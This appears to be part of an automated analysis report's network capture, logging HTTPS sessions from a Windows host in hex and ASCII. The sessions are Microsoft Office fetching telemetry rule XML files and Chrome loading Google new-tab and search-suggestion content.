2024-11-27 10:14:23 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.6	49736	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:23 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:23 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:23 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: c665a67d-901e-002a-1b91-3f7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101423Z-174f7845968kvnqxhC1EWRmf3g0000000fqg0000000008br x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:23 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.6	49737	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:23 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:23 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:23 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: dc0e488f-901e-005b-3891-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101423Z-174f7845968glpgnhC1EWR7uec0000000wv000000000acek x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:23 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.6	49738	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:23 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:23 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:23 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: ff98645e-b01e-0001-1091-3f46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101423Z-174f7845968n2hr8hC1EWR9cag0000000wa000000000amgd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:23 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	49742	142.250.181.68	443	7228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:25 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	49741	142.250.181.68	443	7228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:25 UTC	498	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-27 10:14:26 UTC	1018	IN	HTTP/1.1 200 OK Version: 699875240 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Wed, 27 Nov 2024 10:14:26 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-27 10:14:26 UTC	372	IN	Data Raw: 31 63 33 30 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 1c30)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-27 10:14:26 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-11-27 10:14:26 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-11-27 10:14:26 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-11-27 10:14:26 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-11-27 10:14:26 UTC	1292	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 38 37 2c 33 37 30 30 39 33 38 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 5c 75 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700287,3700938,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var window\u
2024-11-27 10:14:26 UTC	294	IN	Data Raw: 31 31 66 0d 0a 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 5c 6e 2a 2f 5c 6e 76 61 72 20 49 64 3b 5f 2e 47 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 61 2e 6c 65 6e 67 74 68 3b 69 66 28 62 5c 75 30 30 33 65 30 29 7b 63 6f 6e 73 74 20 63 5c 75 30 30 33 64 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 Data Ascii: 11fier: Apache-2.0\n*/\nvar Id;_.Gd\u003dfunction(a){const b\u003da.length;if(b\u003e0){const c\u003dArray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLower
2024-11-27 10:14:26 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4b 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 7d 7d 3b 5f 2e 4c 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 4b 64 28 5c 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 48 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 68 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 4d 64 5c 75 30 30 33 64 5b 49 64 28 5c 22 64 61 74 61 5c 22 29 2c 49 64 28 5c 22 68 74 74 70 5c 22 29 2c 49 64 28 5c 22 68 74 74 70 73 5c 22 29 Data Ascii: 8000d\u003dglobalThis.trustedTypes;_.Kd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i}};_.Ld\u003dnew _.Kd(\"about:invalid#zClosurez\");_.Hd\u003dclass{constructor(a){this.ih\u003da}};_.Md\u003d[Id(\"data\"),Id(\"http\"),Id(\"https\")
2024-11-27 10:14:26 UTC	1390	IN	Data Raw: 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 61 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c 22 64 6f 63 75 6d 65 6e 74 5c 22 69 6e 20 62 3f 62 2e 64 6f 63 75 6d 65 6e 74 3a 62 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 60 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 5c 22 5c 22 3a 62 2e 6e 6f 6e 63 65 7c 7c 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 5c 22 6e 6f 6e 63 65 5c 22 29 7c 7c 5c 22 5c 22 7d 3b 5c 6e 5f 2e 62 65 5c 75 30 Data Ascii: );return a};_.ae\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(c\u003d\"document\"in b?b.document:b).querySelector)\u003d\u003dnull?void 0:d.call(c,`${a}[nonce]`);return b\u003d\u003dnull?\"\":b.nonce\|\|b.getAttribute(\"nonce\")\|\|\"\"};\n_.be\u0
2024-11-27 10:14:26 UTC	1390	IN	Data Raw: 63 74 69 6f 6e 28 63 2c 64 29 7b 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 79 6c 65 5c 22 3f 61 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 63 6c 61 73 73 5c 22 3f 61 2e 63 6c 61 73 73 4e 61 6d 65 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 66 6f 72 5c 22 3f 61 2e 68 74 6d 6c 46 6f 72 5c 75 30 30 33 64 63 3a 6c 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 64 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 6c 65 5b 64 5d 2c 63 29 3a 5f 2e 67 65 28 64 2c 5c 22 61 72 69 61 2d 5c 22 29 7c 7c 5f 2e 67 65 28 64 2c 5c 22 64 61 74 61 2d 5c 22 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 64 2c 63 29 3a 61 5b 64 5d 5c 75 30 30 33 64 63 7d 29 7d 3b 6c Data Ascii: ction(c,d){d\u003d\u003d\"style\"?a.style.cssText\u003dc:d\u003d\u003d\"class\"?a.className\u003dc:d\u003d\u003d\"for\"?a.htmlFor\u003dc:le.hasOwnProperty(d)?a.setAttribute(le[d],c):_.ge(d,\"aria-\")\|\|_.ge(d,\"data-\")?a.setAttribute(d,c):a[d]\u003dc})};l

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	49744	142.250.181.68	443	7228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:25 UTC	595	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-27 10:14:26 UTC	1266	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:26 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-0_Q5B9KIyNA682193B24dA' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
